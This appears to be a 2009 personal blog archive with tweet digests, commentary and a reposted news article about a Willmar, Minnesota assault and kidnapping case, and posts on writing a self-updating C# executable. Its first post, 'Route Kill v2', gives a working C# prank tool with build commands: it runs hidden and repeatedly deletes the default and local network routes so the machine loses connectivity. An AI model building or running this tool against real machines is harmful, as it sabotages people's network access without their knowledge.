Route Kill v2

Last time around, Route Kill was pretty simple, just misdirect a route. This time, I added a little more code flexibility, some minor network monitoring and a maliciousness not seen before. This time, it kills the route (deletes the route from the table), packets aren’t even misdirected, they go nowhere!

To get things ready for yourself, just edit the (routeWatcher)routeList in Main() to suit your network and requirements. Then run the following in the command line below and then just sit back and watch the mayhem.

cd C:\Windows\Microsoft.NET\Framework\v3.5
.\csc.exe /t:winexe /out:c:\routekill.exe C:\program.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Net.NetworkInformation;
using System.Threading;

namespace routeKill
{
    class Program
    {
        static void Main(string[] args)
        {

            //We need two, one for the local tubes, and one for the intertubes.
            routeWatcher[] routeList = new routeWatcher[2];
            routeList[0] = new routeWatcher(new routeId("0.0.0.0", "24.217.29.127")); //24.217.29.127 = charter.com
            routeList[0].onRouteActive += Program.killRoute;

            routeList[1] = new routeWatcher(new routeId("192.168.1.0", "192.168.1.1"));
            routeList[1].onRouteActive += Program.killRoute;

            Thread[] rthread = new Thread[routeList.Length];

            for (int i=0;i<routeList.Length; i++)
            {
                rthread[i] = new Thread(routeList[i].Start);
                rthread[i].Start();
            }

            //A kill order for when you just don't want to get in there yourself.
            //routekill.exe -timeout {Milliseconds}
            System.Collections.Hashtable hargs = new System.Collections.Hashtable();
            hargs.Add("timeout", Array.Find(args, (delegate(string s) { if (s.ToLower() == "-timeout") { return true; } return false; })));
            if (hargs["timeout"] != null)
            {
                Thread.Sleep(int.Parse(hargs["timeout"].ToString()));
                //Process.GetCurrentProcess().Kill();
				foreach(Thread t in rthread) {
					t.Abort();
				}
            }

            return;
        }

        static void killRoute(routeId network)
        {
            Process a = new Process();
            a.StartInfo.CreateNoWindow = true;
            a.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            a.StartInfo.FileName = "route";
            a.StartInfo.Arguments = string.Format("delete {0}", network.network);
            a.Start();
            a.Close();
        }
    }

    class routeId
    {
        private string _network;

        public string network
        {
            get { return this._network; }
        }

        private string _heartbeatIP;
        public string heartbeatIP { get { return this._heartbeatIP; } }

        public routeId(string network)
        {
            this._network = network;
        }

        public routeId(string network, string heartbeat)
        {
            this._network = network;
            this._heartbeatIP = heartbeat;
        }
    }

    class routeWatcher
    {
        public delegate void RouteActive(routeId network);

        public event RouteActive onRouteActive;

        private routeId network;
        public routeWatcher(routeId network)
        {
            this.network = network;
        }

        public void Start()
        {

            System.Net.NetworkInformation.Ping a;
            while (true)
            {
                a = new System.Net.NetworkInformation.Ping();
                System.Net.NetworkInformation.PingReply ar = a.Send(this.network.heartbeatIP);
                if (ar.Status.Equals(System.Net.NetworkInformation.IPStatus.Success))
                {
                    //RouteActive(this.network);
                    if(this.onRouteActive != null) this.onRouteActive(this.network);
                }
                Thread.Sleep(1000);

            }
        }
    }
}

1989 Tiananmen Square Protests

Twitter Weekly Updates for 2009-05-30

  • Attended my first Shavuot last night! http://en.wikipedia.org/wiki/Shavuot #
  • Moved to my new work home. Currently in cubicle hell, but on the plus side I have two new 22″ widescreen monitors. #
  • Win the first NVIDIA ION motherboard! Contest rules at http://www.nvidia.com/ion Retweet and #winanion! #
  • Why is it that they come to me at 4:30pm to say “we’re waiting on you to move so we can” grr! #
  • Real life jibjab! http://bit.ly/qolmw #
  • #coupzine http://coupzine.com is live! yay! #
  • w00t! #coupzine 62 of 250! #
  • Mission critical service isn’t running, no documentation, and an hour left in the work day, can it be done? #
  • Wedding planning! :o more involved than I thought! #
  • Gah! I hate gamestop! #
  • (USA) Have you thanked a veteran today? While today is meant for those who have fallen, vets alive now could have. So thanks vets! #
  • No work tomorrow!! Yippy! #
  • So hungry! Dinner can’t come soon enough! #
  • Just attended the fastest wedding ever! #
  • Shopping *shudder* #
  • Ubertwitter is pretty nice, probably better than twitterberry! And I can see the whole tweet! #

Powered by Twitter Tools.

Interesting searches for me, Josh Erickson

Looking over my Google Analytics this evening I came across these interesting searches people are making and in the process, finding my site.

Trouble in Willmar: Commentary

While reading the comments on the WCTrib site people have made on the recent McDonald’s incident, I’m quite alarmed how racy the issue has become. A fact that saddens me, as talk like that only leads to more hate and loathing. However in the slew of comments discussing ethnics of the various people involved, one set of comments grabbed my attention. Comments that I think need to be answered, and since I’m too lazy and unwilling to register on the Trib’s site, I’ll be doing so here.  Our first post is from a one Brian G. from Fulda, MN.

Where is the concern for the girl who got her hair burned? The problem is that prejudice is alive and well in Willmar. Why didn’t those people go to the police about the hair burning? Because they dont trust them. If you didn’t comment on the white kid burning some minorities hair, then you need to take a long look in the mirror. YOU are the problem. Make it so that the new comers can trust you and then things will settle down. That approach has worked in Worthington to huge success. Get a trustable, honest chief of police, replace your county attorney, and start up a community group of minorities to educate and work with newcomers. There are many minority people who do not want to be in the news for negative things. Give them a leadership role and cooperate and it will all come together.  

I’m only going to focus on the italicized text in this one since the rest is drivel. And the second is from Larry H. of Willmar, MN.

Brian G: I thought the article said “tried” to light the girls on fire? So, has it been confirmed this “white boy” did in fact ignite the girl’s hair on fire? Or did he try? Either way, he should be brought up on charges as well. What is sad is the fact that the law was taken into the hands by others trying to exact revenge. It appears the perp has become the victim as well, but that should not excuse his actions.

Why should the victim here be brought up on charges? We have no proof that he did anything wrong! The only thing remotely near proof is the word of one of the attackers and from the details that are known, we can’t believe them. We can’t believe them because they claim that there was no gun, no altercation, and that they we just going for a ride, all of which were disputed by both the witnesses and physical evidence when the police arrived. Why would they (the attackers) lie about these details if they had a “good” reason to assault the teens? Perhaps I’m biased since I know some of the people involved in the case as well as some more of the background that isn’t in the paper, but I still think that calling for the teen to be brought up on charges for burning hair is ridiculous. It flies in the face of reason and you cannot come close to such a conclusion without some serious assumptions or disregarding facts.

Trouble in Willmar

Originally from the West Central Tribune (link), written by Gretchen Schlosser. Re-posted here for posterity.

WILLMAR — Two young men made their first court appearances Friday on multiple felony charges for allegedly kidnapping a teenager and stealing his car Thursday evening in the McDonald’s parking lot.

Ricardo Cadena, 23, of Willmar, faces six felony charges, including kidnapping, false imprisonment, aggravated robbery, simple robbery, aiding in a motor vehicle theft and second-degree riot in Kandiyohi County District Court.

Unconditional bail was set at $75,000 with conditional bail at $10,000. Cadena’s next appearance is June 1.

Danny Duron Jr., 17, of Willmar, faces five felony charges including kidnapping, false imprisonment, aggravated robbery, simple robbery, motor vehicle theft and a gross misdemeanor charge of third-degree riot. He was ordered held at Prairie Lakes Youth Programs and is scheduled for his next court appearance on Wednesday.

According to Willmar police, a 15-year-old boy was being held on charges of simple robbery, kidnapping, fifth-degree assault and motor vehicle theft at Prairie Lakes Youth Programs. Because of his age, the boy’s case is not part of the public court record. Cases involving felony charges against 16- or 17-year-olds are public.

Another teen, a 16-year-old boy, was released to his parents pending a fifth-degree assault charge.

According to the complaint against Cadena, multiple Willmar police officers were called around 11:20 p.m. Thursday to a fight in progress at the Willmar McDonald’s parking lot. Officers were advised that a person involved had a handgun and the suspects were leaving the location.

Officers stopped a vehicle along First Street and Trott Avenue and identified Duron, Cadena, a 15-year-old and the alleged victim, who was a passenger. A handgun, determined to be a carbon-dioxide-powered pistol, was found under the front passenger seat.

Juvenile female witnesses told officers they had been talking with the alleged victim and another male juvenile in the McDonald’s parking lot when four of five Hispanic males came up to them and confronted one of the boys about starting their sister’s hair on fire. The one boy ran away, while the other, the teen located in the vehicle, was assaulted by the group. The girls said they saw one of the Hispanic males with a pistol in his hand and concealed behind his back.

The girls said the group pushed the boy into the car’s passenger seat, got into the car themselves and drove away. They later indentified Duron and the 15-year-old as the people who punched the boy, the 16-year-old as the one who chased the boy and Cadena as the person in possession of the handgun.

Other officers located the boy, who confirmed the allegations about starting a sister’s hair on fire. He said he had been hit in the face and stomach and that he had been forced to go with the group of males and was very afraid.

Cadena, when interviewed by an officer, claimed they just went for a ride in a “white boy’s” vehicle. He denied that the gun was his or was in the vehicle and denied that they were going to do anything with the boy.

Duron claimed the boy had tried to light his sister’s hair on fire and that the group had confronted him about it. He claimed the boy gave him the keys to the car and that they were going to drive around and talk about what happened. He denied any physical altercation.

Bug squishing

After getting a Windows XP Virtual PC up and running I was able to test my last project’s update feature in XP…and it didn’t work. From those of you who have Vista like me know that the user profile is no longer under Documents and Settings, but Users.

My original code didn’t take into account spaces in the file path, so when a user on XP tried to update the app, it would try to copy itself to “C:\documents” and fail. Since I’d already distributed the previous version, I couldn’t go about fixing it without also creating a tool to replace copies that were on computers already. So I oped for hacking it in the newest version.

Since the file path was given to the updated app when it runs, I simply needed to make my update code smarter….sort of, smarter may be to generous. I simply looped through the arguments until I hit one that ended with “.exe” and then used the result as the path to update to. Below is the code, which in future version will probably be commented out.

if (!System.IO.File.Exists(hargs["update_path"].ToString()))
{
    int i = Array.FindIndex(args, (delegate(string s) { if (s.ToLower() == "-update") { return true; } return false; })) + 1;
    string[] path = new string[0];
    for (i = i; i < args.Length; i++)
    {
        Array.Resize(ref path, path.Length + 1);
        path[path.Length - 1] = args[i];
        if (args[i].EndsWith(".exe"))
        {
            hargs["update_path"] = string.Join(" ", path);
            break;
        }
    }
}

Twitter Weekly Updates for 2009-05-23

  • Now that I’ve synced my contact lists, I fail to see why the pre is so great. #
  • Sweet! Synced my BlackBerry and facebook contacts! #
  • Swedish sausage = hamburger + potatoes + onion + lard http://bit.ly/5xIw3 #
  • ZOMG! Swede! #
  • Hmm, boss just left for the day/weekend…. #
  • RT @gabehabe: Compressing image for twitter posting. (scroll up for details, this is a poem from the image) http://tr.im/m5I4 #
  • :’( My fan died! #
  • So cold *shakes* #
  • So tired. #
  • *sigh* There needs to be made an enterprise opensource tax application. #
  • <3 Windows VirtualPC makes running test environments so easy. #
  • RT @gabehabe: I miss the orange #SourceForge. :( #
  • One of the partner’s laptops has seemingly died. Doesn’t even post! #
  • RT @Nickcdavis: EVERYONE SHOULD ADD @coupzine for future awesomeness after the 26th!!!!!! (THE 26TH CAN’T COME SOON ENOUGH!) #
  • Matt & Kim = weird yet catchy stuff #
  • Weird stuff! http://bit.ly/egHxR And even more weird stuff! http://www.artificialowl.net/ #
  • Must…blog…about….single…exe…update….but…so…tired………. #
  • It’s facebook official. #

Powered by Twitter Tools.

Single exe that can update itself?

For a while now, I’ve been meaning to make a diagnostic application for my coworkers while they are on the road so that we in IT can see what’s going on in their computers. But the problem has been getting the time to make it and deciding what best way to make it in (compiled or scripted). Eventually I chose a compiled solution as it would keep everything in one nice package without much if any outside dependancies.

However, I still needed a way for the application to get updated when I finished another version. I couldn’t rely on the users to check if they had the newest version since they could care less as long as it worked. I also didn’t want to put a lot of work into a distribution system specifically for an application that was a beta and not everyone needed even when it was completed. This meant that I needed to have the whole distribution/upgrade structure contained in one file that everyone was going to be running.

Roadblock, I found out that an application can’t overwrite its own file while its running. It makes sense for that to happen, but it makes it harder to upgrade yourself when it’s only you.

So how did I do this? Well since the newest version will be placed on a network folder, I figured that when the application finds a newer version, it will run the network copy and that instance will do the need upgrades. This presented a challenge though since I had to somehow create a version that could update itself before I could make a version that could update itself. Quite a chicken and egg conundrum!

What I ended up doing was create several different version of the exe and testing the upgrade code in chunks. Testing part of it here and there, constantly changing between the main app functionality and the upgrade code. #if and #endif preprocessor directives and different compile profiles came in really handy in defining different things depending on if I was running the upgrade or regular portions.

Well enough chitchat, time for code, which hopefully for those who program, should be understandable.

//method definition
//static void Main(string[] args)

//Look through the command line arguments and set some stuff up.
//Update the exe arguments.
hargs.Add("update", Array.Find(args, (delegate(string s) { if (s.ToLower() == "-update") { return true; } return false; })));
if (hargs["update"] != null && args.Length > 1)
{
	hargs.Add("update_path", args[Array.FindIndex(args, (delegate(string s) { if (s.ToLower() == "-update") { return true; } return false; })) + 1]);
}

//Updating executable?
if (hargs["update"] != null && hargs["update_path"] != null)
{
	//Make sure we know that it exists!
	if(System.IO.File.Exists(hargs["update_path"].ToString())) {
		System.IO.File.Copy(Application.ExecutablePath, hargs["update_path"].ToString(), true);

		//Start it up and exit this bitch!
		System.Diagnostics.Process.Start(hargs["update_path"].ToString());
	}
	return;
}
else
{
	if(System.IO.File.Exists(network_exe_path))
	{
		System.Diagnostics.FileVersionInfo newversion = System.Diagnostics.FileVersionInfo.GetVersionInfo(network_exe_path);
		if (newversion.FileVersion.CompareTo(Application.ProductVersion) > 0)
		{
			DialogResult dr = MessageBox.Show("There is a new version available. Download now?", "Update available", MessageBoxButtons.YesNo);
			if (dr == DialogResult.Yes)
			{
				System.Diagnostics.Process.Start(network_exe_path, "-update " + Application.ExecutablePath);
				return;
			}
		}
	}
}

“network_exe_path” is the network copy of the file and points to a UNC path (\\server\folder\app.exe). As you can see, this code doesn’t care what the local copy is named and will updated it regardless.

Learning the nuances of Visual Studio

I’m starting to use Visual Studio and programming more and more in C#. Mostly this is because I’m finding that creating tools with scripts for my end users to be too cumbersome for them to use. PowerShell scripts are not easily launched by a double click, you need to allow scripts in the first place (set-executionpolicy) and I can’t even trust that the computer has PowerShell installed! Batch files, while supported by pretty much any Windows version would need to be overly complicated or the batch language just doesn’t support what needs to be done.

On top of these limitations, I also need the tools to be able to stand alone, one file to download and one to run. Which is something that scripts just can’t always provide since there are just too many variables in getting them to run. Executables on the other hand can be compiled so that everything it needs, it has. Something of which is a feature I need so that my users have only one thing to worry about.